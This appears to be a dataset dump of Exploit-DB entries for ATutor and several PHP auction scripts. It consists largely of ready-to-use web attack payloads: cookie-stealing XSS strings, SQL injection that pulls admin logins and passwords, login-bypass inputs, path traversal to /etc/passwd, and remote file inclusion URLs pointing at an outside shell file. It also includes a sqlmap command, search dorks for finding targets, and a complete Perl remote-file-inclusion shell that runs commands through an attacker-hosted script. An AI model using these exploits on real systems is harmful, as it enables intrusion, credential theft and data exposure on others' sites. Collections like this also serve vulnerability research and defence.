deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26170
Description: ATutor 1.5.1 - 'login.php?course' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-08-18
Author: matrix_killer

Exploit:
source: https://www.securityfocus.com/bid/14598/info

ATutor is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/tour/login.php?course="><script>alert('XSS');</script>
Exploit-DB #26257
Description: ATutor 1.5.1 - 'password_reminder.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-09-14
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14831/info

ATutor is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

go to http://www.example.com/atutor/password_reminder.php

and in the email field type:

' UNION SELECT login, password, 'your_email@example.com' FROM AT_admins /*
Exploit-DB #26258
Description: ATutor 1.5.1 - Chat Logs Remote Information Disclosure
Type: webapps
Platform: php
Date: 2005-09-14
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14832/info

ATutor is prone to a remote information disclosure vulnerability. This issue is due to a failure in the application to perform proper access validation before granting access to privileged information.

A remote attacker can exploit this vulnerability and make repeated GET requests for the chat logs, effectively retrieving all chat archives. Information obtained may aid an attacker in further attacks. 

http://www.example.com/atutor/content/chat/2/msgs/1.message
http://www.example.com/atutor/content/chat/2/msgs/2.message
http://www.example.com/atutor/content/chat/2/msgs/3.message
Exploit-DB #28192
Description: ATutor 1.5.3 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2006-07-08
Author: securityconnection

Exploit:
source: https://www.securityfocus.com/bid/18898/info

ATutor is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/documentation/index_list.php?lang="><script>alert(/EllipsisSecurityTest/)</script>
POST http://www.example.com:80/registration.php?register=Register HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Host: www.example.com
ml=1&year="><script>alert(/EllipsisSecurityTest/)</script>
POST http://www.example.com:80/registration.php?register=Register HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Host: www.example.com
ml=1&month="><script>alert(/EllipsisSecurityTest/)</script>
POST http://www.example.com:80/registration.php?register=Register HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Host: www.example.com
ml=1&day="><script>alert(/EllipsisSecurityTest/)</script>
http://www.example.com/forum/index.php?fid=-1[SQL]
Exploit-DB #28832
Description: ATutor 1.5.3 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-10-19
Author: SuBzErO

Exploit:
source: https://www.securityfocus.com/bid/20634/info

ATutor is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

ATutor 1.5.3.2 and prior versions are vulnerable to these issues; other versions may also be affected.

This BID is being retired; further analysis reveals that the application is not vulnerable to this issue.

http://www.example.com/ATutor/documentation/common/frame_toc.php?section=http//members.lycos.co.uk/subzero101010/subzeroch99.txt?
http://www.example.com/ATutor/documentation/common/print.php?section=http//members.lycos.co.uk/subzero101010/subzeroch99.txt?
http://www.example.com/ATutor/documentation/common/search.php?section=http//members.lycos.co.uk/subzero101010/subzeroch99.txt?
http://www.example.com/ATutor/documentation/common/search.php?req_lang=http//members.lycos.co.uk/subzero101010/subzeroch99.txt?
http://www.example.com/ATutor/documentation/common/vitals.inc.php?req_lang=http//members.lycos.co.uk/subzero101010/subzeroch99.txt?
http://www.example.com/ATutor/include/classes/module/module.class.php?row[dir_name]=http//members.lycos.co.uk/subzero101010/subzeroch99.txt?
http://www.example.com/ATutor/include/classes/phpmailer/class.phpmailer.php?lang_path=http//members.lycos.co.uk/subzero101010/subzeroch99.txt?
Exploit-DB #28180
Description: ATutor 1.5.x - '/admin/fix_content.php?submit' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-07-06
Author: Security News

Exploit:
source: https://www.securityfocus.com/bid/18857/info
    
ATutor is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
    
An attacker may leverage any of these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
    
Versions 1.5.1 and 1.5.3 RC2 are vulnerable; other versions may also be affected.

http://www.example.com/admin/fix_content.php?submit=Submit">[code]
Exploit-DB #28177
Description: ATutor 1.5.x - '/documentation/admin/index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-07-06
Author: Security News

Exploit:
source: https://www.securityfocus.com/bid/18857/info
 
ATutor is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage any of these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Versions 1.5.1 and 1.5.3 RC2 are vulnerable; other versions may also be affected.

http://www.example.com/documentation/admin/?p=2.0.configuration.php">[code]
Exploit-DB #28179
Description: ATutor 1.5.x - '/users/browse.php?cat' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-07-06
Author: Security News

Exploit:
source: https://www.securityfocus.com/bid/18857/info
   
ATutor is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
   
An attacker may leverage any of these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
   
Versions 1.5.1 and 1.5.3 RC2 are vulnerable; other versions may also be affected.

http://www.example.com/users/browse.php?cat=[code]
Exploit-DB #28176
Description: ATutor 1.5.x - 'create_course.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-07-06
Author: Security News

Exploit:
source: https://www.securityfocus.com/bid/18857/info

ATutor is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage any of these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Versions 1.5.1 and 1.5.3 RC2 are vulnerable; other versions may also be affected.

http://www.example.com/admin/create_course.php?show_courses=[code]&current_cat=[code]
http://www.example.com/users/create_course.php?show_courses=[code]
Exploit-DB #28178
Description: ATutor 1.5.x - 'password_reminder.php?forgot' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-07-06
Author: Security News

Exploit:
source: https://www.securityfocus.com/bid/18857/info
  
ATutor is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
An attacker may leverage any of these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
Versions 1.5.1 and 1.5.3 RC2 are vulnerable; other versions may also be affected.

http://www.example.com/password_reminder.php?forgot=Email+Reminder">[code]
Exploit-DB #6153
Description: ATutor 1.6.1-pl1 - 'import.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-07-28
Author: Khashayar Fereidani

Exploit:
#####################################################################################
####                         ATutor Course Server Rfi                            ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (R3d.W0rm)                                                        #
#Discovered by : IRCRASH (R3d.W0rm)                                                 #
#Our Site : Http://IRCRASH.COM                                                      #
#IRCRASH Team Members : Dr.Crash - R3d.w0rm                                         #
#####################################################################################
#                                                                                   #
#Script Download : www.atutor.ca                                                    #
#                                                                                   #
#DORK : "Web site engine's code is copyright Â© 2001-2007 ATutorÂ®"                   #
#                                                                                   #
#Note : You must login , then use rfi bug  ;)                                       #
#####################################################################################
#                                       [Rfi]                                       #
#                                                                                   #
#http://Example/tools/packages/import.php                                           #
#                                                                                   #
#                                    [Valun Code]                                   #
#  ....                                                                             #
# if (isset ($_POST['type'])) {                                                     #
#	require ($_POST['type'] . '/import.php');                                   #
#}                                                                                  #
#  ....                                                                             #
#####################################################################################
#                           Site : Http://IRCRASH.COM                               #
###################################### TNX GOD ######################################

# milw0rm.com [2008-07-28]
Exploit-DB #11685
Description: ATutor 1.6.4 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-03-11
Author: ITSecTeam

Exploit:
Topic : ATutor 1.6.4
Bugs Type : Cross Site Scripting (all of them)
Credit : ItSecTeam
Remote : Yes
Status : Bug

# mail : Bug@ItSecTeam.com
# Dork : "ATutor 1.6.4"
#Special Tnx : am!rkh@n, Amin Shokohi(Pejvak), C0M0D0, 0xd41684c654, r3dmove And All It Security Team Members
#Website : WwW.ITSecTeam.com

########################## Exploit #############################
the bugs can be explited as below:

#1: After logging in as an instructor go to manage section and add a poll and inject your XSS code as a questaion or choices.
#2: After logging in as an instructor go to manage section and Create a new Group and inject your XSS code as title or group type.
#3: After logging in as an instructor go to manage section and Add an Assignment with XSS code as title.
Exploit-DB #26432
Description: ATutor 1.x - 'body_header.inc.php?section' Local File Inclusion
Type: webapps
Platform: php
Date: 2005-10-27
Author: Andreas Sandblad

Exploit:
source: https://www.securityfocus.com/bid/15221/info
 
ATutor is prone to multiple vulnerabilities.
 
These issues can allow remote attackers to execute arbitrary PHP commands and carry out local file include and cross-site scripting attacks.
 
ATutor 1.5.1-pl1 and prior versions are affected. 

http://www.example.com/documentation/common/body_header.inc.php?section=[file]%00
Exploit-DB #26431
Description: ATutor 1.x - 'forum.inc.php' Arbitrary Command Execution
Type: webapps
Platform: php
Date: 2005-10-27
Author: Andreas Sandblad

Exploit:
source: https://www.securityfocus.com/bid/15221/info

ATutor is prone to multiple vulnerabilities.

These issues can allow remote attackers to execute arbitrary PHP commands and carry out local file include and cross-site scripting attacks.

ATutor 1.5.1-pl1 and prior versions are affected. 

http://www.example.com/include/html/forum.inc.php?addslashes=[function]&asc=[parameter]
http://www.example.com/include/html/forum.inc.php?addslashes=[function]&desc=[parameter]
Exploit-DB #26433
Description: ATutor 1.x - 'print.php?section' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-10-27
Author: Andreas Sandblad

Exploit:
source: https://www.securityfocus.com/bid/15221/info
  
ATutor is prone to multiple vulnerabilities.
  
These issues can allow remote attackers to execute arbitrary PHP commands and carry out local file include and cross-site scripting attacks.
  
ATutor 1.5.1-pl1 and prior versions are affected. 

http://www.example.com/documentation/common/print.php?section=[file]%00
Exploit-DB #36565
Description: ATutor 2.0.3 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-01-16
Author: Stefan Schurtz

Exploit:
source: https://www.securityfocus.com/bid/51423/info

ATutor is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

ATutor 2.0.3 is vulnerable; other versions may also be affected. 

http://www.example.com/ATutor/themes/default/tile_search/index.tmpl.php/" <script>alert(document.cookie)</script>
http://www.example.com/ATutor/login.php/index.php" <script>alert(document.cookie)</script>/index.php
http://www.example.com/ATutor/search.php/index.php" <script>alert(document.cookie)</script>/index.php
http://www.example.com/ATutor/password_reminder.php" <script>alert(document.cookie)</script>/index.php
http://www.example.com/ATutor/login.php/jscripts/infusion/" <script>alert(document.cookie)</script>/index.php
http://www.example.com/ATutor/login.php/mods/_standard/flowplayer/" <script>alert(document.cookie)</script>/index.php
http://www.example.com/ATutor/browse.php/jscripts/infusion/framework/fss/" <script>alert(document.cookie)</script>/index.php
http://www.example.com/ATutor/registration.php/themes/default/ie_styles.css" <script>alert(document.cookie)</script>/index.php
http://www.example.com/ATutor/about.php/" <script>alert(document.cookie)</script>/index.php
http://www.example.com/ATutor/themes/default/social/basic_profile.tmpl.php/" <script>alert(document.cookie)</script>/index.php
Exploit-DB #38040
Description: ATutor 2.1 - 'tool_file' Local File Inclusion
Type: webapps
Platform: php
Date: 2012-11-16
Author: Julian Horoszkiewicz

Exploit:
source: https://www.securityfocus.com/bid/56600/info

ATutor is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and execute local scripts in the context of the web server process. This may aid in further attacks.

ATutor 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/ATutor-2.1/ATutor/mods/_core/tool_manager/index.php?h=1&tool_file=./../../../../../../../../../../etc/passwd
Exploit-DB #48117
Description: ATutor 2.2.4 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2020-02-24
Author: Andrey Stoykov

Exploit:
# Exploit Title: ATutor 2.2.4 - 'id' SQL Injection
# Date: 2020-02-23
# Exploit Author: Andrey Stoykov
# Vendor Homepage: https://atutor.github.io/
# Software Link: https://sourceforge.net/projects/atutor/files/latest/download
# Version: ATutor 2.2.4
# Tested on: LAMP on Ubuntu 18.04

Steps to Reproduce:

1) Login as admin user
2) Browse to the following URL:
http://192.168.51.2/atutor/mods/_core/users/admin_delete.php?id=17' 
3) Exploiting with SQLMAP:
//Must supply valid User-Agent otherwise, there will be errors.
sqlmap --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" --dbms=mysql -u "http://192.168.51.2/atutor/mods/_core/users/admin_delete.php?id=17*" --cookie=<COOKIES HERE>
Exploit-DB #1747
Description: Auction 1.3m - 'phpbb_root_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-04
Author: webDEViL

Exploit:
#!/usr/bin/perl
##
#phpBB auction mod - Remote File Inclusion Vuln
# Bug discovered by VietMafia
# code copier: webDEViL w3bd3vil[at]gmail.com
#code same as Fast Click <= 2.3.8 Remote File Inclusion exploit
# dork: intext:"phpbb - auction" inurl:"auction"
# usage:
# perl wb1.pl <target> <cmd shell location> <cmd shell variable>
# perl wb1.pl http://vulnerable.com/ http://target.com/cmd.gif cmd
# cmd shell example: <?system($cmd);?>
# cmd shell variable: ($_GET[cmd]);

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
      print "[shell] \$";
while(<STDIN>)
      {
              $cmd=$_;
              chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'/auction/auction_common.php?phpbb_root_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n"; 


$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
      {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)

{
      $finreturn = $1;
      $finreturn=~ tr/[ê]/[\n]/;
      print "\r\n$finreturn\n\r";
      last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print "  phpBB auction mod - Remote File Inclusion Vuln\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl wb1.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to phpBB auction ex: http://www.site.com/ or http://www.site.com/phpbb/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://evilserver/cmd.gif \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                          webDEViL w3bd3vil[at]gmail.com \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-05-04]
Exploit-DB #34885
Description: Auction RSS Content Script - 'rss.php?id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-26
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/44267/info

JCE-Tech Auction RSS Content Script is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/rss.php?id="><script>alert(document.cookie);</script>
Exploit-DB #34886
Description: Auction RSS Content Script - 'search.php?id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-26
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/44267/info
 
JCE-Tech Auction RSS Content Script is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/search.php?id="><script>alert(document.cookie);</script>
Exploit-DB #41093
Description: Auction Website Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-18
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection
# Date: 18.01.2017
# Vendor Homepage: http://www.scriptgiant.com/
# Script Name: Auction Website Script
# Script Buy Now: http://www.popularclones.com/products/Auction-Website-Script
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/news.dtl.php?id=[SQL]
# E.t.c.... Other files, too. SQL There are security vulnerabilities.
# # # # #
Exploit-DB #14247
Description: Auction_Software Script - Admin Authentication Bypass
Type: webapps
Platform: php
Date: 2010-07-06
Author: ALTBTA

Exploit:
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name :  Auction_Software Script Admin Login Bypass vulnerability
vendor URL :http://www.brotherscripts.com/
Price:  $24.95
Author : altbta <l_9[at]hotmail.com>
dork : "PHPAuction GPL Enhanced V2.51 by AuctionCode.com"

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Xploit : Auth Bypass
Demo :
http://www.site.com/demos/Auction_Software/admin/

UserName: ' or 1=1 or ''='

Password: ' or 1=1 or ''='


1-=-=-=-=-=-=-=-=-=-=-=-=-=-= (altbta) =-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
greetz to : RoMaNcYxHaCkEr & sad hacker & ab0-3th4b & Mr.SaFa7 & Mn7oS & V !
V 3
Evil-Cod3r & asL-Sabia & ! Dr.www ! & MaKKaWi & ZaIdOoHxHaCkEr & al.bito
SnIpEr.SiTeS & R3d-D3v!L & MN9

xp10.me/xp10 & v4-team.com/cc